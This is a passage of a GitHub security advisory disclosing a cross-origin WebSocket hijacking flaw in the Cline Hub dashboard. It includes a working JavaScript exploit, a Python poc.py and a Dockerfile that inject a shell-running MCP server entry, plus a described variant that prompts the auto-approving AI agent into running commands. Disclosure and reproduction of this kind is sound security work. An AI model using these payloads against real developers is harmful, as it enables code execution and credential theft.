GHSA-3CJ3-HQCR-G934
Vulnerability from github – Published: 2026-09-24 19:48 – Updated: 2026-09-24 19:48Summary
The Cline Hub dashboard server (@cline/cline-hub), launched via the cline dashboard CLI command, accepts WebSocket connections on the /browser endpoint without validating the HTTP Origin header. When ROOM_SECRET is not set—the default for local (127.0.0.1) binds—isAuthorizedBrowserRequest() returns true unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to ws://127.0.0.1:8787/browser. An attacker-controlled page can then send desktopCommand frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to autoApprove: true for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an upsert_mcp_server frame injected a malicious stdio MCP server entry into the victim's Cline settings file with ok: true response.
Details
The vulnerable code path spans multiple files in the apps/cline-hub workspace.
No secret by default (local bind)
apps/cline-hub/src/options.ts:54–57 converts an empty ROOM_SECRET environment variable to undefined:
// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
const secret = value?.trim();
return secret ? secret : undefined;
}
apps/cline-hub/src/options.ts:67–85 allows the local default host (127.0.0.1) to start without a secret, so roomSecret remains undefined in the default configuration.
Authorization bypass — Origin not checked
apps/cline-hub/src/server.ts:61–64 short-circuits all authorization when roomSecret is undefined, and performs no Origin header check at any point:
// apps/cline-hub/src/server.ts:61
function isAuthorizedBrowserRequest(url: URL): boolean {
if (!roomSecret) return true;
return url.searchParams.get("roomSecret") === roomSecret;
}
WebSocket upgrade without Origin validation
apps/cline-hub/src/server.ts:86–97 upgrades any request to /browser without inspecting the Origin header:
// apps/cline-hub/src/server.ts:86
if (url.pathname === "/browser") {
if (!isAuthorizedBrowserRequest(url)) {
return createJsonResponse({ error: "invalid_room_secret" }, 401);
}
if (server.upgrade(req, { data })) return undefined;
}
Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the Origin header but leave enforcement to the server. Because the server ignores Origin, any cross-origin JavaScript can connect.
Auto-approve tool policy for dashboard sessions
apps/cline-hub/src/server/sessions.ts:129–133 sets the default tool policy to auto-approve all tools for new dashboard sessions:
// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
options?.autoApproveTools === false
? { "*": { autoApprove: false } }
: { "*": { autoApprove: true } },
MCP settings write sink
apps/cline-hub/src/server/desktop-commands.ts:180–185 processes upsert_mcp_server commands without additional authorization. apps/cline-hub/src/server/mcp.ts:101–136 writes arbitrary stdio command entries to $CLINE_DATA_DIR/settings/cline_mcp_settings.json, which Cline executes when the MCP server is next activated.
PoC
Prerequisites
clineversion 3.0.24 installed globally- A browser (or any WebSocket client) running on the same machine as the victim
Setup
npm i -g cline@3.0.24
export CLINE_DATA_DIR="$(mktemp -d)"
cline dashboard --no-open
# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset
Exploit (browser console on any cross-origin page)
Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:
const ws = new WebSocket("ws://127.0.0.1:8787/browser");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "desktopCommand",
id: "poc-mcp-write",
command: "upsert_mcp_server",
args: {
input: {
name: "poc-cswsh",
transportType: "stdio",
command: "sh",
args: ["-c", "touch /tmp/cline-hub-cswsh-poc"],
disabled: false
}
}
}));
};
ws.onmessage = (e) => console.log(e.data);
Expected result
- The WebSocket connection is accepted without any
Originrejection. - The server responds with
{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}. $CLINE_DATA_DIR/settings/cline_mcp_settings.jsoncontains the injectedpoc-cswshstdioMCP server entry pointing tosh -c ....- On the next MCP connection by Cline, the injected shell command executes under the victim's user account.
Docker-based dynamic reproduction
docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/
docker run --rm cswsh-poc-vuln001
# Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED
The Python PoC (poc.py) connects to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com, sends the upsert_mcp_server frame, and confirms both the ok: true response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing.
RCE variant (requires provider/model configured)
If the victim has a working AI provider configured, send a type: "send" frame with config.autoApproveTools: true and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to autoApprove: true for all tools, so no confirmation prompt is shown.
Impact
Any malicious website visited by a developer running cline dashboard on the default local configuration can:
- Read session metadata, workspace state, and provider configuration exposed through the WebSocket protocol.
- Write arbitrary MCP server entries (including
stdioentries with arbitrary shell commands) tocline_mcp_settings.json, achieving persistent code execution when Cline activates the MCP server. - Control active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim.
- Exfiltrate credentials or API keys available in the developer's environment or Cline provider configuration.
The attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands.
Reproduction artifacts
Dockerfile
# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
# CVE candidate: CWE-346 (Origin Validation Error)
#
# This Dockerfile builds a container that:
# 1. Installs the Bun runtime and SDK workspace dependencies
# 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages
# 3. Installs Python 3 + websockets library for the PoC script
# 4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted)
# 5. Runs poc.py which connects with a cross-origin Origin header and
# injects an arbitrary MCP server entry into the user's settings file
FROM oven/bun:1.3
# ── System packages ──────────────────────────────────────────────────────────
RUN apt-get update && \
apt-get install -y --no-install-recommends \
python3 python3-pip curl && \
rm -rf /var/lib/apt/lists/*
# Install Python websockets library for the PoC
RUN pip3 install websockets --break-system-packages
# ── Copy source ───────────────────────────────────────────────────────────────
WORKDIR /app
# Copy the cloned repository (build context = npmAI_11_cline__cline/)
COPY repo/ ./repo/
# Copy the PoC script
COPY vuln-001/poc.py ./poc.py
# ── Install workspace dependencies ────────────────────────────────────────────
WORKDIR /app/repo
RUN bun install
# ── Build SDK packages (required: dist/ exports for @cline/core et al.) ──────
# Build order: shared → llms → agents → core
RUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/llms build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/agents build 2>&1 | tail -3
RUN bun run --cwd sdk/packages/core build 2>&1 | tail -3
# ── Runtime environment ───────────────────────────────────────────────────────
ENV CLINE_DATA_DIR=/tmp/cline-poc-data
ENV WORKSPACE_ROOT=/tmp/workspace
ENV CLINE_NO_INTERACTIVE=1
RUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace
WORKDIR /app
# poc.py starts the dashboard server internally, runs the exploit, and exits
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard
Vulnerability path:
apps/cline-hub/src/server.ts:61-64 isAuthorizedBrowserRequest() returns
true unconditionally when roomSecret is undefined (no ROOM_SECRET env var).
apps/cline-hub/src/server.ts:86-97 /browser WebSocket upgrade: no Origin
header validation is performed before accepting the connection.
Attack scenario:
A developer is running `cline dashboard` on localhost:8787 (default, no secret).
Any website they visit can open a cross-origin WebSocket to the dashboard,
send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio
MCP server entry into the user's Cline settings file.
PoC steps:
1. Start the cline-hub dashboard server (no ROOM_SECRET → roomSecret=undefined).
2. Connect to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com
(simulating a cross-origin browser page).
3. Send a desktopCommand frame: upsert_mcp_server with a marker command.
4. Assert the server returns desktopCommandResult { ok: true }.
5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the
injected MCP server entry is present.
Usage (inside Docker container):
python3 /app/poc.py
"""
import asyncio
import json
import os
import subprocess
import sys
import time
import urllib.request
import urllib.error
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
REPO_ROOT = "/app/repo"
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 8787
SERVER_HTTP = f"http://{SERVER_HOST}:{SERVER_PORT}"
SERVER_WS = f"ws://{SERVER_HOST}:{SERVER_PORT}/browser"
# Simulated attacker origin — a cross-origin value that a real browser would
# send when JavaScript on http://evil.attacker.example.com opens the WebSocket.
ATTACK_ORIGIN = "http://evil.attacker.example.com"
# Injected MCP server payload
MCP_NAME = "poc-cswsh-marker"
MCP_CMD = "sh"
MCP_ARGS = ["-c", "id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSH_SUCCESS"]
CLINE_DATA_DIR = os.environ.get("CLINE_DATA_DIR", "/tmp/cline-poc-data")
MCP_SETTINGS = os.path.join(CLINE_DATA_DIR, "settings", "cline_mcp_settings.json")
# ---------------------------------------------------------------------------
# Server startup helpers
# ---------------------------------------------------------------------------
def start_server() -> subprocess.Popen:
"""Spawn the cline-hub dashboard server as a background process."""
print("[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...")
env = {
**os.environ,
"CLINE_DATA_DIR": CLINE_DATA_DIR,
"WORKSPACE_ROOT": os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"),
"CLINE_NO_INTERACTIVE": "1",
}
proc = subprocess.Popen(
[
"bun",
"--conditions=development",
"run",
"apps/cline-hub/src/server.ts",
],
cwd=REPO_ROOT,
env=env,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
print(f"[*] Server PID: {proc.pid}")
return proc
def wait_for_server(timeout_secs: int = 120) -> bool:
"""Poll the /health endpoint until the server responds or timeout expires."""
print(f"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...")
deadline = time.time() + timeout_secs
last_err = ""
while time.time() < deadline:
try:
with urllib.request.urlopen(
f"{SERVER_HTTP}/health", timeout=3
) as resp:
if resp.status == 200:
data = json.loads(resp.read())
print(f"[+] Server is up. Health: {json.dumps(data)[:200]}")
return True
except Exception as exc:
last_err = str(exc)
time.sleep(2)
print(f"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}")
return False
def drain_server_output(proc: subprocess.Popen, lines: int = 30) -> str:
"""Collect recent server stdout/stderr for diagnostic purposes."""
collected = []
try:
import select
while True:
r, _, _ = select.select([proc.stdout], [], [], 0)
if not r:
break
line = proc.stdout.readline()
if not line:
break
collected.append(line.rstrip())
except Exception:
pass
return "\n".join(collected[-lines:])
# ---------------------------------------------------------------------------
# WebSocket exploit
# ---------------------------------------------------------------------------
async def run_exploit() -> dict:
"""
Connect to the dashboard WebSocket with a cross-origin Origin header,
send upsert_mcp_server, and return a result dict with evidence.
"""
# Import websockets — handle both legacy (<12) and current (>=12) API
try:
from websockets.asyncio.client import connect as ws_connect
except ImportError:
from websockets import connect as ws_connect # type: ignore[no-redef]
result = {
"connect_accepted": False,
"command_ok": False,
"mcp_settings_written": False,
"response_raw": "",
"mcp_settings_content": "",
"error": "",
}
print(f"[*] Connecting to {SERVER_WS}")
print(f"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}")
try:
async with ws_connect(
SERVER_WS,
additional_headers={"Origin": ATTACK_ORIGIN},
open_timeout=15,
) as ws:
result["connect_accepted"] = True
print(f"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}")
print("[*] Server performed no Origin validation — CSWSH confirmed at connection level")
# Build the attack frame: inject an arbitrary stdio MCP server
attack_frame = {
"type": "desktopCommand",
"id": "poc-cswsh-001",
"command": "upsert_mcp_server",
"args": {
"input": {
"name": MCP_NAME,
"transportType": "stdio",
"command": MCP_CMD,
"args": MCP_ARGS,
"disabled": False,
}
},
}
print(f"[*] Sending desktopCommand: upsert_mcp_server → {MCP_NAME}")
await ws.send(json.dumps(attack_frame))
# Collect responses until we see our desktopCommandResult
deadline = asyncio.get_event_loop().time() + 30
while asyncio.get_event_loop().time() < deadline:
try:
raw = await asyncio.wait_for(ws.recv(), timeout=5)
result["response_raw"] = raw
frame = json.loads(raw)
if frame.get("type") == "desktopCommandResult" and frame.get("id") == "poc-cswsh-001":
if frame.get("ok") is True:
result["command_ok"] = True
print(f"[+] desktopCommandResult received: ok=true")
else:
print(f"[-] desktopCommandResult received but ok=false: {raw[:300]}")
break
# Ignore state-sync / status frames
print(f"[.] Received frame type={frame.get('type')} (waiting for result ...)")
except asyncio.TimeoutError:
print("[.] Waiting for desktopCommandResult ...")
continue
except Exception as exc:
result["error"] = str(exc)
print(f"[-] WebSocket error: {exc}")
return result
def verify_mcp_settings() -> dict:
"""Read the MCP settings file and confirm the injected entry is present."""
print(f"[*] Checking MCP settings file: {MCP_SETTINGS}")
if not os.path.exists(MCP_SETTINGS):
print(f"[-] MCP settings file does not exist: {MCP_SETTINGS}")
return {"exists": False, "content": ""}
with open(MCP_SETTINGS) as fh:
content = fh.read()
print(f"[+] MCP settings file content:\n{content}")
try:
data = json.loads(content)
servers = data.get("mcpServers", {})
if MCP_NAME in servers:
print(f"[+] INJECTED MCP server '{MCP_NAME}' found in settings!")
print(f" Entry: {json.dumps(servers[MCP_NAME], indent=4)}")
return {"exists": True, "content": content, "injected": True}
else:
print(f"[-] Injected server '{MCP_NAME}' NOT found in settings.")
print(f" Available servers: {list(servers.keys())}")
return {"exists": True, "content": content, "injected": False}
except json.JSONDecodeError as exc:
return {"exists": True, "content": content, "injected": False, "parse_error": str(exc)}
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> int:
print("=" * 70)
print("VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC")
print("CWE-346 CVSS 9.6 (Critical)")
print("=" * 70)
os.makedirs(os.path.join(CLINE_DATA_DIR, "settings"), exist_ok=True)
os.makedirs(os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"), exist_ok=True)
server_proc = start_server()
try:
ready = wait_for_server(timeout_secs=120)
if not ready:
server_log = drain_server_output(server_proc)
print(f"\n[!] Server startup log:\n{server_log}")
print("\n[RESULT] FAIL — server did not start within timeout")
return 1
exploit_result = asyncio.run(run_exploit())
mcp_result = verify_mcp_settings()
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)
print(f" WebSocket accepted cross-origin connection : {exploit_result['connect_accepted']}")
print(f" upsert_mcp_server returned ok=true : {exploit_result['command_ok']}")
print(f" Injected entry present in MCP settings : {mcp_result.get('injected', False)}")
passed = (
exploit_result["connect_accepted"]
and exploit_result["command_ok"]
and mcp_result.get("injected", False)
)
if passed:
print("\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED")
print(" A page at http://evil.attacker.example.com connected to")
print(f" {SERVER_WS} without any Origin rejection,")
print(f" and injected MCP server '{MCP_NAME}' into the user's settings.")
return 0
else:
print("\n[RESULT] FAIL — Could not fully confirm all exploit steps")
if exploit_result.get("error"):
print(f" Error: {exploit_result['error']}")
return 1
finally:
print("\n[*] Stopping server ...")
server_proc.terminate()
try:
server_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
server_proc.kill()
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "cline"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59723"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T19:48:34Z",
"nvd_published_at": "2026-07-08T23:16:56Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe Cline Hub dashboard server (`@cline/cline-hub`), launched via the `cline dashboard` CLI command, accepts WebSocket connections on the `/browser` endpoint without validating the HTTP `Origin` header. When `ROOM_SECRET` is not set\u2014the default for local (`127.0.0.1`) binds\u2014`isAuthorizedBrowserRequest()` returns `true` unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to `ws://127.0.0.1:8787/browser`. An attacker-controlled page can then send `desktopCommand` frames to read workspace/session state, mutate MCP and provider settings, and\u2014because dashboard sessions default to `autoApprove: true` for all tools\u2014trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an `upsert_mcp_server` frame injected a malicious `stdio` MCP server entry into the victim\u0027s Cline settings file with `ok: true` response.\n\n### Details\n\nThe vulnerable code path spans multiple files in the `apps/cline-hub` workspace.\n\n**No secret by default (local bind)**\n\n`apps/cline-hub/src/options.ts:54\u201357` converts an empty `ROOM_SECRET` environment variable to `undefined`:\n\n```ts\n// apps/cline-hub/src/options.ts:54\nfunction normalizeRoomSecret(value: string | undefined): string | undefined {\n const secret = value?.trim();\n return secret ? secret : undefined;\n}\n```\n\n`apps/cline-hub/src/options.ts:67\u201385` allows the local default host (`127.0.0.1`) to start without a secret, so `roomSecret` remains `undefined` in the default configuration.\n\n**Authorization bypass \u2014 Origin not checked**\n\n`apps/cline-hub/src/server.ts:61\u201364` short-circuits all authorization when `roomSecret` is `undefined`, and performs no `Origin` header check at any point:\n\n```ts\n// apps/cline-hub/src/server.ts:61\nfunction isAuthorizedBrowserRequest(url: URL): boolean {\n if (!roomSecret) return true;\n return url.searchParams.get(\"roomSecret\") === roomSecret;\n}\n```\n\n**WebSocket upgrade without Origin validation**\n\n`apps/cline-hub/src/server.ts:86\u201397` upgrades any request to `/browser` without inspecting the `Origin` header:\n\n```ts\n// apps/cline-hub/src/server.ts:86\nif (url.pathname === \"/browser\") {\n if (!isAuthorizedBrowserRequest(url)) {\n return createJsonResponse({ error: \"invalid_room_secret\" }, 401);\n }\n if (server.upgrade(req, { data })) return undefined;\n}\n```\n\nBrowsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections\u2014they always include the `Origin` header but leave enforcement to the server. Because the server ignores `Origin`, any cross-origin JavaScript can connect.\n\n**Auto-approve tool policy for dashboard sessions**\n\n`apps/cline-hub/src/server/sessions.ts:129\u2013133` sets the default tool policy to auto-approve all tools for new dashboard sessions:\n\n```ts\n// apps/cline-hub/src/server/sessions.ts:129\ntoolPolicies:\n options?.autoApproveTools === false\n ? { \"*\": { autoApprove: false } }\n : { \"*\": { autoApprove: true } },\n```\n\n**MCP settings write sink**\n\n`apps/cline-hub/src/server/desktop-commands.ts:180\u2013185` processes `upsert_mcp_server` commands without additional authorization. `apps/cline-hub/src/server/mcp.ts:101\u2013136` writes arbitrary `stdio` command entries to `$CLINE_DATA_DIR/settings/cline_mcp_settings.json`, which Cline executes when the MCP server is next activated.\n\n### PoC\n\n**Prerequisites**\n\n- `cline` version 3.0.24 installed globally\n- A browser (or any WebSocket client) running on the same machine as the victim\n\n**Setup**\n\n```bash\nnpm i -g cline@3.0.24\nexport CLINE_DATA_DIR=\"$(mktemp -d)\"\ncline dashboard --no-open\n# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset\n```\n\n**Exploit (browser console on any cross-origin page)**\n\nOpen any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:\n\n```js\nconst ws = new WebSocket(\"ws://127.0.0.1:8787/browser\");\nws.onopen = () =\u003e {\n ws.send(JSON.stringify({\n type: \"desktopCommand\",\n id: \"poc-mcp-write\",\n command: \"upsert_mcp_server\",\n args: {\n input: {\n name: \"poc-cswsh\",\n transportType: \"stdio\",\n command: \"sh\",\n args: [\"-c\", \"touch /tmp/cline-hub-cswsh-poc\"],\n disabled: false\n }\n }\n }));\n};\nws.onmessage = (e) =\u003e console.log(e.data);\n```\n\n**Expected result**\n\n- The WebSocket connection is accepted without any `Origin` rejection.\n- The server responds with `{\"type\":\"desktopCommandResult\",\"id\":\"poc-mcp-write\",\"ok\":true}`.\n- `$CLINE_DATA_DIR/settings/cline_mcp_settings.json` contains the injected `poc-cswsh` `stdio` MCP server entry pointing to `sh -c ...`.\n- On the next MCP connection by Cline, the injected shell command executes under the victim\u0027s user account.\n\n**Docker-based dynamic reproduction**\n\n```bash\ndocker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/\ndocker run --rm cswsh-poc-vuln001\n# Expected final output: [RESULT] PASS \u2014 Cross-origin WebSocket hijacking CONFIRMED\n```\n\nThe Python PoC (`poc.py`) connects to `ws://127.0.0.1:8787/browser` with `Origin: http://evil.attacker.example.com`, sends the `upsert_mcp_server` frame, and confirms both the `ok: true` response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing.\n\n**RCE variant (requires provider/model configured)**\n\nIf the victim has a working AI provider configured, send a `type: \"send\"` frame with `config.autoApproveTools: true` and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to `autoApprove: true` for all tools, so no confirmation prompt is shown.\n\n### Impact\n\nAny malicious website visited by a developer running `cline dashboard` on the default local configuration can:\n\n1. **Read** session metadata, workspace state, and provider configuration exposed through the WebSocket protocol.\n2. **Write** arbitrary MCP server entries (including `stdio` entries with arbitrary shell commands) to `cline_mcp_settings.json`, achieving persistent code execution when Cline activates the MCP server.\n3. **Control** active Cline agent sessions\u2014with all tools auto-approved\u2014to perform file read/write, command execution, and network operations on behalf of the victim.\n4. **Exfiltrate** credentials or API keys available in the developer\u0027s environment or Cline provider configuration.\n\nThe attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer\u0027s local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard\n# CVE candidate: CWE-346 (Origin Validation Error)\n#\n# This Dockerfile builds a container that:\n# 1. Installs the Bun runtime and SDK workspace dependencies\n# 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages\n# 3. Installs Python 3 + websockets library for the PoC script\n# 4. Launches the cline-hub dashboard server (no ROOM_SECRET \u2192 any Origin accepted)\n# 5. Runs poc.py which connects with a cross-origin Origin header and\n# injects an arbitrary MCP server entry into the user\u0027s settings file\n\nFROM oven/bun:1.3\n\n# \u2500\u2500 System packages \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends \\\n python3 python3-pip curl \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# Install Python websockets library for the PoC\nRUN pip3 install websockets --break-system-packages\n\n# \u2500\u2500 Copy source \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\n\n# Copy the cloned repository (build context = npmAI_11_cline__cline/)\nCOPY repo/ ./repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# \u2500\u2500 Install workspace dependencies \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app/repo\nRUN bun install\n\n# \u2500\u2500 Build SDK packages (required: dist/ exports for @cline/core et al.) \u2500\u2500\u2500\u2500\u2500\u2500\n# Build order: shared \u2192 llms \u2192 agents \u2192 core\nRUN bun run --cwd sdk/packages/shared build 2\u003e\u00261 | tail -3\nRUN bun run --cwd sdk/packages/llms build 2\u003e\u00261 | tail -3\nRUN bun run --cwd sdk/packages/agents build 2\u003e\u00261 | tail -3\nRUN bun run --cwd sdk/packages/core build 2\u003e\u00261 | tail -3\n\n# \u2500\u2500 Runtime environment \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nENV CLINE_DATA_DIR=/tmp/cline-poc-data\nENV WORKSPACE_ROOT=/tmp/workspace\nENV CLINE_NO_INTERACTIVE=1\n\nRUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace\n\nWORKDIR /app\n\n# poc.py starts the dashboard server internally, runs the exploit, and exits\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard\n\nVulnerability path:\n apps/cline-hub/src/server.ts:61-64 isAuthorizedBrowserRequest() returns\n true unconditionally when roomSecret is undefined (no ROOM_SECRET env var).\n apps/cline-hub/src/server.ts:86-97 /browser WebSocket upgrade: no Origin\n header validation is performed before accepting the connection.\n\nAttack scenario:\n A developer is running `cline dashboard` on localhost:8787 (default, no secret).\n Any website they visit can open a cross-origin WebSocket to the dashboard,\n send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio\n MCP server entry into the user\u0027s Cline settings file.\n\nPoC steps:\n 1. Start the cline-hub dashboard server (no ROOM_SECRET \u2192 roomSecret=undefined).\n 2. Connect to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com\n (simulating a cross-origin browser page).\n 3. Send a desktopCommand frame: upsert_mcp_server with a marker command.\n 4. Assert the server returns desktopCommandResult { ok: true }.\n 5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the\n injected MCP server entry is present.\n\nUsage (inside Docker container):\n python3 /app/poc.py\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.request\nimport urllib.error\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nREPO_ROOT = \"/app/repo\"\nSERVER_HOST = \"127.0.0.1\"\nSERVER_PORT = 8787\nSERVER_HTTP = f\"http://{SERVER_HOST}:{SERVER_PORT}\"\nSERVER_WS = f\"ws://{SERVER_HOST}:{SERVER_PORT}/browser\"\n\n# Simulated attacker origin \u2014 a cross-origin value that a real browser would\n# send when JavaScript on http://evil.attacker.example.com opens the WebSocket.\nATTACK_ORIGIN = \"http://evil.attacker.example.com\"\n\n# Injected MCP server payload\nMCP_NAME = \"poc-cswsh-marker\"\nMCP_CMD = \"sh\"\nMCP_ARGS = [\"-c\", \"id \u003e /tmp/cline-hub-cswsh-poc.txt \u0026\u0026 echo CSWSH_SUCCESS\"]\n\nCLINE_DATA_DIR = os.environ.get(\"CLINE_DATA_DIR\", \"/tmp/cline-poc-data\")\nMCP_SETTINGS = os.path.join(CLINE_DATA_DIR, \"settings\", \"cline_mcp_settings.json\")\n\n# ---------------------------------------------------------------------------\n# Server startup helpers\n# ---------------------------------------------------------------------------\n\ndef start_server() -\u003e subprocess.Popen:\n \"\"\"Spawn the cline-hub dashboard server as a background process.\"\"\"\n print(\"[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...\")\n env = {\n **os.environ,\n \"CLINE_DATA_DIR\": CLINE_DATA_DIR,\n \"WORKSPACE_ROOT\": os.environ.get(\"WORKSPACE_ROOT\", \"/tmp/workspace\"),\n \"CLINE_NO_INTERACTIVE\": \"1\",\n }\n proc = subprocess.Popen(\n [\n \"bun\",\n \"--conditions=development\",\n \"run\",\n \"apps/cline-hub/src/server.ts\",\n ],\n cwd=REPO_ROOT,\n env=env,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n print(f\"[*] Server PID: {proc.pid}\")\n return proc\n\n\ndef wait_for_server(timeout_secs: int = 120) -\u003e bool:\n \"\"\"Poll the /health endpoint until the server responds or timeout expires.\"\"\"\n print(f\"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...\")\n deadline = time.time() + timeout_secs\n last_err = \"\"\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(\n f\"{SERVER_HTTP}/health\", timeout=3\n ) as resp:\n if resp.status == 200:\n data = json.loads(resp.read())\n print(f\"[+] Server is up. Health: {json.dumps(data)[:200]}\")\n return True\n except Exception as exc:\n last_err = str(exc)\n time.sleep(2)\n print(f\"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}\")\n return False\n\n\ndef drain_server_output(proc: subprocess.Popen, lines: int = 30) -\u003e str:\n \"\"\"Collect recent server stdout/stderr for diagnostic purposes.\"\"\"\n collected = []\n try:\n import select\n while True:\n r, _, _ = select.select([proc.stdout], [], [], 0)\n if not r:\n break\n line = proc.stdout.readline()\n if not line:\n break\n collected.append(line.rstrip())\n except Exception:\n pass\n return \"\\n\".join(collected[-lines:])\n\n# ---------------------------------------------------------------------------\n# WebSocket exploit\n# ---------------------------------------------------------------------------\n\nasync def run_exploit() -\u003e dict:\n \"\"\"\n Connect to the 